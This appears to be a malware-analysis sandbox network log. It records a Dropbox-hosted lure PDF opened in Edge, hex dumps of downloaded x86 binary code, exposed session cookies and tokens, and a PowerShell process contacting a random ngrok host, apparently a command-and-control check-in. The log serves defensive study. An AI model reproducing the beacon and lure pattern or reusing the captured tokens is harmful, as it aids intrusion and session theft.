2024-12-19 12:44:47 UTC	16384	IN	Data Raw: 50 3b 8d b0 fd ff ff 74 0e e8 62 a9 ff ff 83 85 ac fd ff ff 18 eb 11 ff b5 ac fd ff ff 8d 8d a8 fd ff ff e8 58 a7 ff ff c6 45 fc 0d 8b 8d e0 fd ff ff 83 f9 08 72 35 8b 95 cc fd ff ff 8d 0c 4d 02 00 00 00 8b c2 81 f9 00 10 00 00 72 14 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 0f 87 68 0e 00 00 51 52 e8 9f 0d 06 00 83 c4 08 83 85 ec fc ff ff 04 47 8b 8d 54 fd ff ff 3b bd f8 fc ff ff 0f 8c 0a fe ff ff c6 45 fc 0b 85 c9 0f 84 9a 00 00 00 8b 85 5c fd ff ff 8b 95 54 fd ff ff 2b c1 c1 f8 02 8d 0c 85 00 00 00 00 8b c2 81 f9 00 10 00 00 72 14 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 0f 87 25 0e 00 00 51 52 e8 39 0d 06 00 eb 58 a1 88 8c 4c 00 85 c0 75 36 68 84 00 00 00 e8 f4 0c 06 00 8b f0 89 b5 e4 fd ff ff 68 84 00 00 00 6a 00 56 c6 45 fc 10 e8 b3 2e 06 00 83 c4 Data Ascii: P;tbXEr5MrP#+hQRGT;E\T+rP#+%QR9XLu6hhjVE.
2024-12-19 12:44:47 UTC	16155	IN	Data Raw: 50 51 56 57 a1 14 40 4c 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b f9 89 7d f0 8b 75 08 8d 47 04 0f 57 c0 c7 07 a4 f8 49 00 50 66 0f d6 00 8d 46 04 50 e8 44 e1 05 00 83 c4 08 c7 45 fc 00 00 00 00 8d 4f 10 c7 07 b4 1b 4b 00 8b 46 0c 89 47 0c 8d 46 10 50 e8 c7 6a ff ff c7 07 c4 12 4b 00 8b c7 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 8b e5 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 1d 81 49 00 64 a1 00 00 00 00 50 51 56 57 a1 14 40 4c 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b f9 89 7d f0 8b 75 08 8d 47 04 0f 57 c0 c7 07 a4 f8 49 00 50 66 0f d6 00 8d 46 04 50 e8 b4 e0 05 00 83 c4 08 c7 45 fc 00 00 00 00 8d 4f 10 c7 07 b4 1b 4b 00 8b 46 0c 89 47 0c 8d 46 10 50 e8 37 6a ff ff c7 07 0c 1c 4b 00 8b c7 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 8b Data Ascii: PQVW@L3PEd}uGWIPfFPDEOKFGFPjKMdY_^]UjhIdPQVW@L3PEd}uGWIPfFPEOKFGFP7jKMdY_^
2024-12-19 12:44:47 UTC	16384	IN	Data Raw: 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 77 22 51 52 e8 d7 8e 05 00 83 c4 08 c7 06 88 0f 4b 00 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5e 8b e5 5d c3 e8 e0 8a 06 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 15 87 49 00 64 a1 00 00 00 00 50 83 ec 24 56 a1 14 40 4c 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 8b f1 89 75 d8 89 75 d4 8d 4d dc 6a 37 68 28 19 4b 00 c7 45 dc 00 00 00 00 c7 45 ec 00 00 00 00 c7 45 f0 00 00 00 00 e8 ce a4 ff ff 0f 57 c0 c7 45 fc 00 00 00 00 66 0f d6 46 04 8d 45 dc c6 45 fc 01 50 8d 4e 10 c7 06 b4 1b 4b 00 c7 46 0c 00 00 00 00 e8 42 2b ff ff 8b 4d f0 c7 06 f0 1b 4b 00 83 f9 10 72 28 8b 55 dc 41 8b c2 81 f9 00 10 00 00 72 10 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 77 22 51 52 e8 f7 8d 05 00 83 c4 08 c7 06 dc 12 4b 00 Data Ascii: P#+w"QRKMdY^]UjhIdP$V@L3PEduuMj7h(KEEEWEfFEEPNKFB+MKr(UArP#+w"QRK
2024-12-19 12:44:47 UTC	16384	IN	Data Raw: 01 68 a8 f2 4a 00 8b 30 8b 40 04 89 85 28 fd ff ff e8 df e3 fe ff 8b 85 20 fd ff ff 8b d0 83 78 14 08 72 02 8b 10 8b ca 8d 41 02 89 85 24 fd ff ff 0f 1f 40 00 66 8b 01 83 c1 02 66 85 c0 75 f5 2b 8d 24 fd ff ff d1 f9 51 52 8d 4d c0 e8 a3 e3 fe ff 6a 02 68 ac f2 4a 00 8d 4d c0 e8 94 e3 fe ff 3b b5 28 fd ff ff 74 53 83 7e 14 08 8b d6 72 02 8b 16 8b c2 8d 48 02 89 8d 24 fd ff ff 0f 1f 80 00 00 00 00 66 8b 08 83 c0 02 66 85 c9 75 f5 2b 85 24 fd ff ff 8d 4d c0 d1 f8 50 52 e8 53 e3 fe ff 6a 01 68 b4 f2 4a 00 8d 4d c0 e8 44 e3 fe ff 83 c6 18 3b b5 28 fd ff ff 75 ad 33 c0 c7 45 d8 00 00 00 00 33 c9 89 45 e8 c7 45 ec 07 00 00 00 66 89 4d d8 8b 8d 20 fd ff ff 8d 55 d8 c6 45 fc 01 3b d1 74 19 83 79 14 08 8b c1 72 02 8b 01 ff 71 10 8d 4d d8 50 e8 e9 e1 fe ff 8b 45 e8 Data Ascii: hJ0@( xrA$@ffu+$QRMjhJM;(tS~rH$ffu+$MPRSjhJMD;(u3E3EEfM UE;tyrqMPE
2024-12-19 12:44:47 UTC	229	IN	Data Raw: a1 00 00 00 00 50 83 ec 48 a1 14 40 4c 00 33 c5 89 45 f0 53 56 57 50 8d 45 f4 64 a3 00 00 00 00 8b 5d 08 8d 4d e8 6a 00 89 5d ec e8 7c fc 04 00 c7 45 fc 00 00 00 00 8b 35 c4 9e 4c 00 a1 58 9e 4c 00 89 45 e0 85 f6 75 2f 56 8d 4d e4 e8 5a fc 04 00 39 35 c4 9e 4c 00 75 10 a1 68 7e 4c 00 40 a3 68 7e 4c 00 a3 c4 9e 4c 00 8d 4d e4 e8 92 fc 04 00 8b 35 c4 9e 4c 00 8b 4b 04 8d 1c b5 00 00 00 00 3b 71 0c 73 30 8b 41 08 8b 3c 03 85 ff 74 28 8d 4d e8 e8 6b fc 04 00 8b c7 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b 4d f0 33 cd e8 fc 0d 05 00 8b e5 5d c3 33 ff 80 79 14 00 74 10 e8 cf fd 04 00 3b 70 0c 73 0a 8b 40 08 8b 3c 03 85 ff 75 be 8b 45 e0 85 c0 74 04 8b f8 eb b3 6a 08 e8 d8 0d 05 00 Data Ascii: PH@L3ESVWPEd]Mj]\|E5LXLEu/VMZ95Luh~L@h~LLM5LK;qs0A<t(MkMdY_^[M3]3yt;ps@<uEtj
2024-12-19 12:44:47 UTC	16384	IN	Data Raw: 8b f8 83 c4 04 89 7d e0 8b 45 ec 8b 40 04 85 c0 74 0c 8b 70 18 85 f6 75 0a 8d 70 1c eb 05 be ca 0c 4b 00 6a 00 8d 4d ac e8 9a fb 04 00 c7 45 b0 00 00 00 00 c6 45 b4 00 c7 45 b8 00 00 00 00 c6 45 bc 00 33 c0 c7 45 c0 00 00 00 00 66 89 45 c4 89 45 c8 66 89 45 cc 89 45 d0 88 45 d4 89 45 d8 88 45 dc c6 45 fc 08 85 f6 0f 84 e5 00 00 00 8d 45 ac 56 50 e8 3b fe 04 00 c7 47 04 00 00 00 00 c7 07 b8 06 4a 00 8d 45 ac c6 45 fc 09 50 e8 6c fe 04 00 8b 45 d8 83 c4 0c 85 c0 74 09 50 e8 df 09 06 00 83 c4 04 8b 45 d0 c7 45 d8 00 00 00 00 85 c0 74 09 50 e8 c8 09 06 00 83 c4 04 8b 45 c8 c7 45 d0 00 00 00 00 85 c0 74 09 50 e8 b1 09 06 00 83 c4 04 8b 45 c0 c7 45 c8 00 00 00 00 85 c0 74 09 50 e8 9a 09 06 00 83 c4 04 8b 45 b8 c7 45 c0 00 00 00 00 85 c0 74 09 50 e8 83 09 06 00 Data Ascii: }E@tpupKjMEEEE3EfEEfEEEEEEEVP;GJEEPlEtPEEtPEEtPEEtPEEtP
2024-12-19 12:44:47 UTC	16384	IN	Data Raw: 8b cf ff 15 d4 e2 49 00 8b cb ff d7 8b bd 74 ff ff ff 0f b7 c0 b9 ff ff 00 00 66 3b c8 74 09 c6 46 04 00 e9 0a ff ff ff c7 06 00 00 00 00 c6 46 04 01 e9 fb fe ff ff 85 c0 0f 85 a6 00 00 00 80 7e 04 00 75 07 8b ce e8 54 07 00 00 8b 85 68 ff ff ff 0f b7 5e 06 8b 00 8b 78 0c 8b cf ff 15 d4 e2 49 00 8b 8d 68 ff ff ff ff d7 66 3b d8 75 6f e8 70 2e 06 00 8b 8d 7c ff ff ff 8b 00 8a 00 88 01 41 8b 1e 89 8d 7c ff ff ff 85 db 74 47 8b 43 1c 83 38 00 74 1b 8b 4b 2c 8b 01 85 c0 7e 12 48 89 01 8b 4b 1c 8b 11 8d 42 02 89 01 0f b7 02 eb 14 8b 03 8b 78 1c 8b cf ff 15 d4 e2 49 00 8b cb ff d7 0f b7 c0 b9 ff ff 00 00 66 3b c8 74 06 c6 46 04 00 eb 0a c7 06 00 00 00 00 c6 46 04 01 8b bd 74 ff ff ff 83 bd 64 ff ff ff 00 0f 85 d9 00 00 00 80 7e 04 00 75 07 8b ce e8 a1 06 00 00 Data Ascii: Itf;tFF~uTh^xIhf;uop.\|A\|tGC8tK,~HKBxIf;tFFtd~u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49857	162.125.1.20	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:49 UTC	773	OUT	POST /api/4505546831036416/envelope/?sentry_key=015d5ce7dd3142cd8fca094a50adbf69&sentry_version=7&sentry_client=sentry.javascript.browser%2F8.27.0 HTTP/1.1 Host: d.dropbox.com Connection: keep-alive Content-Length: 504 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-19 12:44:49 UTC	504	OUT	Data Raw: 7b 22 73 65 6e 74 5f 61 74 22 3a 22 32 30 32 34 2d 31 32 2d 31 39 54 31 32 3a 34 34 3a 34 37 2e 37 39 34 5a 22 2c 22 73 64 6b 22 3a 7b 22 6e 61 6d 65 22 3a 22 73 65 6e 74 72 79 2e 6a 61 76 61 73 63 72 69 70 74 2e 62 72 6f 77 73 65 72 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 38 2e 32 37 2e 30 22 7d 7d 0a 7b 22 74 79 70 65 22 3a 22 73 65 73 73 69 6f 6e 22 7d 0a 7b 22 73 69 64 22 3a 22 34 30 31 66 39 32 61 37 30 62 30 30 34 32 39 31 62 62 30 34 35 37 38 39 31 31 66 36 32 32 35 37 22 2c 22 69 6e 69 74 22 3a 74 72 75 65 2c 22 73 74 61 72 74 65 64 22 3a 22 32 30 32 34 2d 31 32 2d 31 39 54 31 32 3a 34 34 3a 34 37 2e 37 39 34 5a 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 31 32 2d 31 39 54 31 32 3a 34 34 3a 34 37 2e 37 39 34 5a 22 2c 22 73 74 61 74 Data Ascii: {"sent_at":"2024-12-19T12:44:47.794Z","sdk":{"name":"sentry.javascript.browser","version":"8.27.0"}}{"type":"session"}{"sid":"401f92a70b004291bb04578911f62257","init":true,"started":"2024-12-19T12:44:47.794Z","timestamp":"2024-12-19T12:44:47.794Z","stat
2024-12-19 12:44:50 UTC	467	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-sentry-error,x-sentry-rate-limits,retry-after Content-Length: 2 Content-Type: application/json Cross-Origin-Resource-Policy: cross-origin Date: Thu, 19 Dec 2024 12:44:50 GMT Server: envoy Vary: origin,access-control-request-method,access-control-request-headers X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 68f6533929bb4b8e8548ec2900e19cc6 Connection: close
2024-12-19 12:44:50 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49860	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:51 UTC	996	OUT	POST /2/client_metrics/record HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 381 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 x-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB
2024-12-19 12:44:51 UTC	381	OUT	Data Raw: 7b 22 73 63 6f 70 65 73 22 3a 5b 5d 2c 22 6b 6e 6f 77 6e 5f 6e 61 6d 65 73 70 61 63 65 73 22 3a 5b 5d 2c 22 65 6e 76 69 72 6f 6e 6d 65 6e 74 22 3a 22 70 72 6f 64 22 2c 22 61 72 74 69 66 61 63 74 5f 6e 61 6d 65 22 3a 22 64 72 6f 70 62 6f 78 2d 77 65 62 22 2c 22 61 72 74 69 66 61 63 74 5f 76 65 72 73 69 6f 6e 22 3a 22 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 22 2c 22 63 6c 69 65 6e 74 5f 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 6c 69 65 6e 74 5f 76 65 72 73 69 6f 6e 22 3a 33 30 2c 22 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 22 3a 7b 22 2e 74 61 67 22 3a 22 74 79 70 65 73 63 72 69 70 74 22 7d 7d 2c 22 74 72 69 67 67 65 72 22 3a 7b 22 2e 74 61 67 22 3a 22 74 72 69 67 67 65 72 5f 68 Data Ascii: {"scopes":[],"known_namespaces":[],"environment":"prod","artifact_name":"dropbox-web","artifact_version":"0000000000000000000000000000000000000000","client_metadata":{"client_version":30,"implementation":{".tag":"typescript"}},"trigger":{".tag":"trigger_h
2024-12-19 12:44:51 UTC	595	IN	HTTP/1.1 200 OK Content-Disposition: attachment Content-Security-Policy: sandbox Content-Type: application/json Pragma: no-cache X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Frame-Options: sameorigin X-Server-Response-Time: 119 X-Webkit-Csp: sandbox Content-Length: 137 Date: Thu, 19 Dec 2024 12:44:51 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store Vary: Accept-Encoding X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: bfc98a467a154bea876ebfb6642188ed Connection: close
2024-12-19 12:44:51 UTC	137	IN	Data Raw: 7b 22 64 65 62 75 67 5f 69 6e 66 6f 73 22 3a 5b 5d 2c 22 6d 61 78 5f 73 63 6f 70 65 73 5f 70 65 72 5f 72 65 71 75 65 73 74 22 3a 31 30 30 2c 22 70 75 62 6c 69 63 61 74 69 6f 6e 5f 69 6e 74 65 72 76 61 6c 5f 73 65 63 6f 6e 64 73 22 3a 36 30 2c 22 72 65 70 6f 72 74 69 6e 67 5f 63 6f 6e 66 69 67 73 22 3a 5b 5d 2c 22 73 74 6f 70 5f 70 75 62 6c 69 63 61 74 69 6f 6e 5f 66 6f 72 5f 73 65 63 6f 6e 64 73 22 3a 30 7d Data Ascii: {"debug_infos":[],"max_scopes_per_request":100,"publication_interval_seconds":60,"reporting_configs":[],"stop_publication_for_seconds":0}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49861	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:51 UTC	937	OUT	POST /csp_log?policy_name=metaserver-whitelist HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 3206 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: application/csp-report Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: report Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB
2024-12-19 12:44:51 UTC	3206	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 73 63 6c 2f 66 69 2f 64 67 69 75 72 36 34 76 61 77 6d 64 78 39 61 6c 71 77 36 65 74 2f 4c 65 77 69 73 2d 53 69 6c 6b 69 6e 2d 4c 4c 50 2e 70 64 66 3f 72 6c 6b 65 79 3d 6b 64 75 68 71 72 6e 70 30 30 72 6a 34 34 72 6a 65 70 70 75 77 33 31 71 6b 26 64 6c 3d 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 76 69 6f 6c 61 74 65 64 2d 64 69 72 65 63 74 69 76 65 22 3a 22 73 63 72 69 70 74 2d 73 72 63 2d 65 6c 65 6d 22 2c 22 65 66 66 65 63 74 69 76 65 2d 64 69 72 65 63 74 69 76 65 22 3a 22 73 63 72 69 70 74 2d 73 72 63 2d 65 6c 65 6d 22 2c 22 6f 72 69 67 69 6e 61 6c 2d 70 6f 6c 69 63 79 22 3a 22 Data Ascii: {"csp-report":{"document-uri":"https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1","referrer":"","violated-directive":"script-src-elem","effective-directive":"script-src-elem","original-policy":"
2024-12-19 12:44:51 UTC	2923	IN	HTTP/1.1 204 No Content Content-Type: text/plain; charset=utf-8 Content-Disposition: attachment Content-Security-Policy: base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; default-src 'none' ; font-src https:// data: ; form-action 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; frame-src https://* carousel: dbapi-6 [TRUNCATED] Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-dynamic ; script-src 'unsafe-eval' 'strict-dynamic' 'nonce-zae5FOaY4wgYj6/QMIGo' 'nonce-RftBflA1VBBHPll0Vn76' Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: __Host-logged-out-session=ChDPre50SfwbRtRglYkX1GzyEMOqkLsGGi5BTHlHQjJPRFBFZ0c5bEJMajJFVnBERE5URnVUQUJrdGRJMTZxUGM2TUVSb0pR; HttpOnly; Path=/; SameSite=None; Secure X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 1; mode=block Date: Thu, 19 Dec 2024 12:44:51 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store Vary: Accept-Encoding X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 28a940ca924446bf8034b9aa7e5cbf16 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49869	162.125.4.18	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:52 UTC	1050	OUT	POST /2/udcl/log_timing HTTP/1.1 Host: www.dropbox.com Connection: keep-alive Content-Length: 2941 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-CSRF-Token: HdS8vQAOgoo2pdq3Kdn8X0eJ X-Dropbox-Uid: -1 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: application/json x-dropbox-client-yaps-attribution: edison_atlasservlet.file_viewer-edison:prod sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/scl/fi/dgiur64vawmdx9alqw6et/Lewis-Silkin-LLP.pdf?rlkey=kduhqrnp00rj44rjeppuw31qk&dl=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gvc=MzEwMjM3MzU2NTk3NjIwNDU2OTE5MDY3OTg3NjQ5NTA1MTQ4ODM4; t=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-js_csrf=HdS8vQAOgoo2pdq3Kdn8X0eJ; __Host-ss=0FAEIkEix0; locale=en_GB
2024-12-19 12:44:52 UTC	2941	OUT	Data Raw: 7b 22 65 76 65 6e 74 73 22 3a 5b 5d 2c 22 6d 65 61 73 75 72 65 73 22 3a 5b 7b 22 74 79 70 65 22 3a 22 6d 65 61 73 75 72 65 22 2c 22 6e 61 6d 65 22 3a 22 6d 61 66 2e 65 76 65 6e 74 5f 70 6c 75 67 69 6e 2e 74 69 6d 65 5f 74 6f 5f 61 66 74 65 72 5f 64 69 73 70 6c 61 79 22 2c 22 69 64 22 3a 22 35 32 61 36 63 66 36 30 2d 61 62 65 63 2d 34 34 39 61 2d 62 62 65 33 2d 30 30 39 64 32 64 32 61 30 65 31 65 22 2c 22 64 65 74 61 69 6c 22 3a 22 7b 5c 22 65 76 65 6e 74 5f 74 79 70 65 5c 22 3a 5c 22 41 66 74 65 72 44 69 73 70 6c 61 79 5c 22 2c 5c 22 72 6f 75 74 65 5f 6e 61 6d 65 5c 22 3a 5c 22 73 68 61 72 65 64 5f 63 6f 6e 74 65 6e 74 5f 6c 69 6e 6b 3a 66 69 6c 65 3a 73 68 61 72 65 64 5f 6c 69 6e 6b 5f 67 65 6e 65 72 69 63 5f 65 72 72 6f 72 5c 22 2c 5c 22 61 74 6c 61 73 Data Ascii: {"events":[],"measures":[{"type":"measure","name":"maf.event_plugin.time_to_after_display","id":"52a6cf60-abec-449a-bbe3-009d2d2a0e1e","detail":"{\"event_type\":\"AfterDisplay\",\"route_name\":\"shared_content_link:file:shared_link_generic_error\",\"atlas
2024-12-19 12:44:53 UTC	571	IN	HTTP/1.1 200 OK Content-Disposition: attachment Content-Security-Policy: sandbox Content-Type: application/json Pragma: no-cache X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Frame-Options: sameorigin X-Server-Response-Time: 225 X-Webkit-Csp: sandbox Content-Length: 51 Date: Thu, 19 Dec 2024 12:44:53 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 29ebb9d3f0b44d25a1494e9b976d9557 Connection: close
2024-12-19 12:44:53 UTC	51	IN	Data Raw: 7b 22 6d 73 67 22 3a 22 4d 65 61 73 75 72 65 73 20 70 72 6f 63 65 73 73 65 64 3a 20 35 20 45 76 65 6e 74 73 20 70 72 6f 63 65 73 73 65 64 3a 20 30 22 7d Data Ascii: {"msg":"Measures processed: 5 Events processed: 0"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49870	3.125.102.39	443	9024	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:53 UTC	221	OUT	GET /metadata/7430a49b4ec2f1c77488485c5e23d0dd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 23glcrtmzxqgwfpq3oujitt.ngrok.pizza Connection: Keep-Alive
2024-12-19 12:44:54 UTC	213	IN	HTTP/1.1 404 Not Found Access-Control-Allow-Origin: * Content-Length: 207 Content-Type: text/html; charset=utf-8 Date: Thu, 19 Dec 2024 12:44:54 GMT Server: Werkzeug/3.0.3 Python/3.12.8 Connection: close
2024-12-19 12:44:54 UTC	207	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49875	162.125.1.20	443	7468	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 12:44:54 UTC	773	OUT	POST /api/4505546831036416/envelope/?sentry_key=015d5ce7dd3142cd8fca094a50adbf69&sentry_version=7&sentry_client=sentry.javascript.browser%2F8.27.0 HTTP/1.1 Host: d.dropbox.com Connection: keep-alive Content-Length: 509 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
